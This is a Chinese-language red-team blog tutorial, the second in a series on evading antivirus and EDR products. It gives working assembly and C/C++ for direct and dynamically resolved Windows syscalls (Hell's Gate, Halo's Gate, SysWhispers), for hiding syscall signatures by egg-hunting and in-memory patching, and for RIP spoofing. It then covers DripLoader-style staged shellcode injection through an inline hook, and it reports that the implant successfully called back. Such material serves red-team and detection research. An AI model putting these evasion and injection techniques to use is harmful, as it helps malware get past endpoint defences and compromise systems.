欢迎光临
我们一直在努力

红队队开发基础-基础免杀(二)

引言

本文是《红队开发基础-基础免杀》系列的第二篇文章,主要介绍了规避常见的恶意API调用模式及使用直接系统调用并规避“系统调用标记”两种手段,达到bypass edr的效果。

使用直接系统调用并规避“系统调用标记”

基础知识

系统核心态指的是R0,用户态指的是R3,系统代码在核心态下运行,用户代码在用户态下运行。系统中一共有四个权限级别,R1和R2运行设备驱动,R0到R3权限依次降低,R0和R3的权限分别为最高和最低。

在用户态运行的系统要控制系统时,或者要运行系统代码就必须取得R0权限。用户从R3到R0需要借助ntdll.dll中的函数,这些函数分别以“Nt”和“Zw”开头,这种函数叫做Native API,下图是调用过程:

这些nt开头的函数一般没有官方文档,很多都是被逆向或者泄露windows源码的方式流出的。

调用这些nt开头的函数,在《红队队开发基础-基础免杀(一)》中曾经通过在内存中找到函数的首地址的方式来实现:

FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");

反编译这段代码,就可以获取syscall最简单的形式:

即:

mov     r10,rcx
mov     eax,xxh
syscall

这里存储的是系统调用号,基于 eax 所存储的值的不同,syscall 进入内核调用的内核函数也不同

为什么使用syscall可以绕过edr?

我们可以看下图

用户调用windows api ReadFile,有些edr会hook ReadFile这个windows api,但实际上最终会调用到NTxxx这种函数。有些函数没有被edr hook就可以绕过。说白了还是通过黑名单机制的一种绕过。找到冷门的wdinwos api并找到对应的底层内核api。

sycall系统调用号文档:https://j00ru.vexillium.org/syscalls/nt/64/

写一个基础syscall

在vscode中开启asm支持:

右键asm文件,属性,修改为宏编译

这里需要注意 .asm文件不能和.cpp文件重名,否则会link报错。

接着根据msdn的官方文档定义函数:

EXTERN_C NTSTATUS SysNtCreateFile(
    PHANDLE FileHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK IoStatusBlock,
    PLARGE_INTEGER AllocationSize,
    ULONG FileAttributes,
    ULONG ShareAccess,
    ULONG CreateDisposition,
    ULONG CreateOptions,
    PVOID EaBuffer,
    ULONG EaLength);

之后调用函数即可:

RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\test.txt");
    ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
    InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    SysNtCreateFile(
        &fileHandle,
        FILE_GENERIC_WRITE,
        &oa,
        &osb,
        0,
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_WRITE,
        FILE_OVERWRITE_IF,
        FILE_SYNCHRONOUS_IO_NONALERT,
        NULL,
        0);

使用visual studio查看反汇编代码:

工具->选项->启用地址级调试
在调试过程中,Debug->window->disassembly

可以看到最基础的汇编代码及字节码

动态进行syscall

我们很多时候使用syscall不是直接调用,不会在代码里硬编码syscall的系统调用号。因为不同的系统调用号是不同的,所以我们需要进行动态syscall。

  • Hell’s Gate:地狱之门
    这个工具遍历NtDLL的导出表,根据函数名hash,找到函数的地址。接着使用0xb8获取到系统调用号,之后通过syscall来执行一系列函数。
    通过TEB获取到dll的地址可以参考:获取DLL的基地址

    解析pe结构,获取导出表

    遍历hash表和导出表,找到syscall的函数,通过标记的方式获得系统调用号:

    为什么匹配这几个字节就能找到syscall调用号呢?我们看这张图:

    发现syscall对应的固定汇编语句为

    4C8BD1 -> mov r10, rcx
      B8XXXXXXXX -> move eax,xx
      0f05 -> syscall

    转化成内存数组即:

    if (*((PBYTE)pFunctionAddress + cw) == 0x4c
              && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
              && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
              && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
              && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
              && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
              BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
              BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
              pVxTableEntry->wSystemCall = (high << 8) | low;
              break;
      }

    逐字节遍历,直到出现mov r10, rcx和move eax,经过位运算得到syscall调用号。
    程序自动生成的syscall汇编代码:

    ; Hell's Gate
      ; Dynamic system call invocation 
      ; 
      ; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
    
      .data
          wSystemCall DWORD 000h
    
      .code 
          HellsGate PROC
              mov wSystemCall, 000h
              mov wSystemCall, ecx
              ret
          HellsGate ENDP
    
          HellDescent PROC
              mov r10, rcx
              mov eax, wSystemCall
    
              syscall
              ret
          HellDescent ENDP
      end

    调用syscall,分配内存,修改内存属性,创建线程:

    可以发现已经能够成功上线

  • SysWhispers2
    SysWhispers2 是一个合集,用python生成.c源码文件。这些文件的作用和Hell’s Gate类似,也是在PE中找导出表,之后通过对比函数hash找到syscall调用号。相对Hell’s Gate有更多的函数可供选择,不仅仅是内存相关的几个函数。并且对syscall的asm有一定程度的混淆(使用了INT 2EH替换sycall)。

  • Halo’s Gate
    光环之门应对native api被hook的情况,syscall有一个32字节的存根,通过编译每32字节寻找没有被hook的native api,主要是这两个汇编函数实现:

    主要还是根据syscall的特征字节码4C 8B D1 B8,在内存中原本native api在的位置向上向下每32个字节进行搜索。找到没有被HOOK的存根后获取其系统调用号再减去移动的步数,就是所要搜索的系统调用号。

  • TartarusGate
    TartarusGate主要是增加了对hook的判断,我们在下面的内容会提及hook的操作,一般有5字节和7字节hook。主要是JMP相对应的机器码E9的位置不同,通过判断函数开头第一个字节和第四个字节是否为E9可以大致判断是否被hook.

  • ParallelSyscalls
    该项目使用了接下来会在文章三种提及的技术,一言以蔽之就是恢复了被hook的ntdll之后再进行syscall。

  • GetSSN
    这个工具用了比较不同的思路,简单来说ssn(系统调用标记)实际上是从0开始的,只要我们获取到了所有的函数机器对应地址,通过地址进行排序,最终获得的标号顺序就是syscall id的顺序。

    int GetSSN()
    {
      std::map<int, string> Nt_Table;
      PBYTE ImageBase;
      PIMAGE_DOS_HEADER Dos = NULL;
      PIMAGE_NT_HEADERS Nt = NULL;
      PIMAGE_FILE_HEADER File = NULL;
      PIMAGE_OPTIONAL_HEADER Optional = NULL;
      PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
    
      PPEB Peb = (PPEB)__readgsqword(0x60);
      PLDR_MODULE pLoadModule;
      // NTDLL
      pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
      ImageBase = (PBYTE)pLoadModule->BaseAddress;
    
      Dos = (PIMAGE_DOS_HEADER)ImageBase;
      if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
          return 1;
      Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
      File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
      Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
      ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
    
      PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
      PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
      PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
      for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
      {
          PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
          PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
          if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
             printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
              Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
          }
      }
      int index = 0;
      for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
          cout << "index:" << index  << ' ' << iter->second << endl;
          index += 1;
      }
    }

弱化syscall的特征

主要内容来自原文SysWhispers is dead, long live SysWhispers!

使用int 2EH

syscall特征非常明显,静态特征就很容易被识别到:

针对这种情况,在SysWhispers2中就有所改良,如图:

找到了一种int 2EH替代syscall的办法,但随着攻防对抗的提升,该方法已经被检测。

egghunter

这里采用了egghunter的技术,先用彩蛋(一些随机的、唯一的、可识别的模式)替换syscall指令,然后在运行时,再在内存中搜索这个彩蛋,并使用ReadProcessMemory和WriteProcessMemory等WINAPI调用将其替换为syscall指令。之后,我们可以正常使用直接系统调用了。

关于egghunter的概念可以看fuzzysecurity的二进制入门教程

我们在内存中使用db表示一个字节,比如我们在内存中.txt段写入”w00tw00t”的字节:

NtAllocateVirtualMemory PROC
  mov [rsp +8], rcx          ; Save registers.
  mov [rsp+16], rdx
  mov [rsp+24], r8
  mov [rsp+32], r9
  sub rsp, 28h
  mov ecx, 003970B07h        ; Load function hash into ECX.
  call SW2_GetSyscallNumber  ; Resolve function hash into syscall number.
  add rsp, 28h
  mov rcx, [rsp +8]          ; Restore registers.
  mov rdx, [rsp+16]
  mov r8, [rsp+24]
  mov r9, [rsp+32]
  mov r10, rcx
  DB 77h                     ; "w"
  DB 0h                      ; "0"
  DB 0h                      ; "0"
  DB 74h                     ; "t"
  DB 77h                     ; "w"
  DB 0h                      ; "0"
  DB 0h                      ; "0"
  DB 74h                     ; "t"
  ret
NtAllocateVirtualMemory ENDP

接下来要做的就是遍历程序内存,搜索这段彩蛋:

void FindAndReplace(unsigned char egg[], unsigned char replace[])
{

    ULONG64 startAddress = 0;
    ULONG64 size = 0;

    GetMainModuleInformation(&startAddress, &size);

    if (size <= 0) {
        printf("[-] Error detecting main module size");
        exit(1);
    }

    ULONG64 currentOffset = 0;

    unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
    size_t nBytesRead;

    printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);

    while (currentOffset < size - 8)
    {
        currentOffset++;
        LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
        if(DEBUG > 0){
            printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
        }
        if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
            printf("[-] Error reading from memory\n");
            exit(1);
        }
        if (nBytesRead != 8) {
            printf("[-] Error reading from memory\n");
            continue;
        }

        if(DEBUG > 0){
            for (int i = 0; i < nBytesRead; i++){
                printf("%02x ", current[i]);
            }
            printf("\n");
        }

        if (memcmp(egg, current, 8) == 0)
        {
            printf("Found at %llu\n", (ULONG64)currentAddress);
            WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
        }

    }
    printf("Ended search at:   0x%llu\n", (ULONG64)startAddress + currentOffset);
    free(current);
}

这样做虽然可以绕过静态的检测了但依旧存在问题,理论上syscall行为应该只存在ntdll中,而我们使用syscall是在当前程序中。简单的判断RIP就可以检测出我们的可疑行为。

常规调用流程:

恶意程序的调用流程:

针对RIP的检测,作者也给出了技术方案,还是比较简单的。在内存中搜索syscall的地址,直接jmp到该位置。即可让RIP指向ntdll。

SysWhispers3

上面提及的两种方法在SysWhispers3已经有所应用:

# Normal SysWhispers, 32-bits mode
py .\syswhispers.py --preset all -o syscalls_all -m jumper --arch x86

# Normal SysWhispers, using WOW64 in 32-bits mode (only specific functions)
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem --arch x86 --wow64

# Egg-Hunting SysWhispers, to bypass the "mark of the sycall" (common function)
py .\syswhispers.py --preset common -o syscalls_common -m jumper

# Jumping/Jumping Randomized SysWhispers, to bypass dynamic RIP validation (all functions) using MinGW as the compiler
py .\syswhispers.py --preset all -o syscalls_all -m jumper -c mingw

使用的时候遇到了坑:

起初一直以为是mov r10,rcx报错,后来发现是下一句报错..无法直接往内存写。不知道怎么解决,生成jumper是可以使用的:

python3 syswhispers.py -p common -a x64 -c msvc -m jumper -v -d -o 1

规避常见的恶意API调用模式

本文主要根据Bypassing EDR real-time injection detection logic这篇文章,对常规的内存写入行为进行了变化,混淆了一些带有机器学习特征的edr的检测,从而避免了报警。

基础知识

windows api hook

我们首先找到内存中需要被hook的函数地址:

LPVOID  lpDllExport = GetProcAddress(hJmpMod, jmpFuncName);

找到后将前七个字节改为跳转,如下

unsigned char jmpSc[7]{
        0xB8, b[0], b[1], b[2], b[3],
        0xFF, 0xE0
    };

机器码对应的汇编指令大概是

move eax,xxxx
jmp eax

修改这部分内存

WriteProcessMemory(
        hProc,
        lpDllExport,
        jmpSc,
        sizeof(jmpSc),
        &szWritten
    );

这样我们就实现了劫持对应函执行流程的功能。如果想要维持函数原本的功能,保存原本的七个字节,在shellcode中再次替换这部分内存并jump回来。

Windows 内存分配的一些规则

  1. 在windows 10 64位下,内存最小的分配粒度为4kB, systeminfo结构体中,标识了这个变量,为内存分页的大小。
  2. 在windows中,所有VirtualAllocEx分配的内存,会向上取整到AllocationGranularity的值,windows10下为64kb,比如:

    我们在0x40000000的基址分配了4kB的MEM_COMMIT | MEM_RESERVE的内存,那么整块0x40010000 (64kB)区域将不能被重新分配。

实现原理

很多edr将创建远程线程的行为列为可疑行为,比如windows definder仅仅是做记录但并不报警,产生报警还有其他的判断逻辑,下图是atp的记录:

因此完全依赖于 ntdll!NtCreateThread(Ex) 是不准确的,正常的程序也可以调用这个api。
寻找报警和记录之间的差异,可以让我们实现edr的绕过。

作者基于几个操作对用户行为进行了混淆:

  1. 与其分配一大块内存并直接将~250KB的implant shellcode写入该内存,不如分配小块但连续的内存,例如<64KB的内存,并将其标记为NO_ACCESS。然后,将shellcode按照相应的块大小写入这些内存页中。
  2. 在上述的每一个操作之间引入延迟。这将增加执行shellcode所需的时间,但也会淡化连续执行模式。
  3. 使用钩子,劫持RtlpWow64CtxFromAmd64函数,执行恶意shellcode

DripLoader

搜索内存中,找到内存块属性为free的内存:

pre-define a list of 64-bit base addresses and VirtualQueryEx the target process to find the first region able to fit our shellcode blob

寻找合适的内存基址,cVmResv即shellode长度/内存块大小+1,即一共需要多少块内存。当确定的基址连续cVmResv块的内存都free,返回这个基址:

延时执行

确保内存可以被分配:

这里函数使用syscall调用,ANtAVM对应NtAllocateVirtualMemory:

确保内存不到64kb的,以4kb切片可以被分配

写入内存,以4bits每次写入:

获取函数地址后进行hook -> jmp到我们shellcode的首地址

创建进程,运行我们的shellcode

可以成功执行shellcode:

源码

本文实现的例子相关代码均进行了开源:EDR-Bypass-demo

参考文章

https://tttang.com/archive/1464/
https://github.com/am0nsec/HellsGate/
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
https://sonictk.github.io/asm_tutorial/

未经允许不得转载:Caldow » 红队队开发基础-基础免杀(二)
分享到: 生成海报

切换注册

登录

忘记密码 ?

切换登录

注册

我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活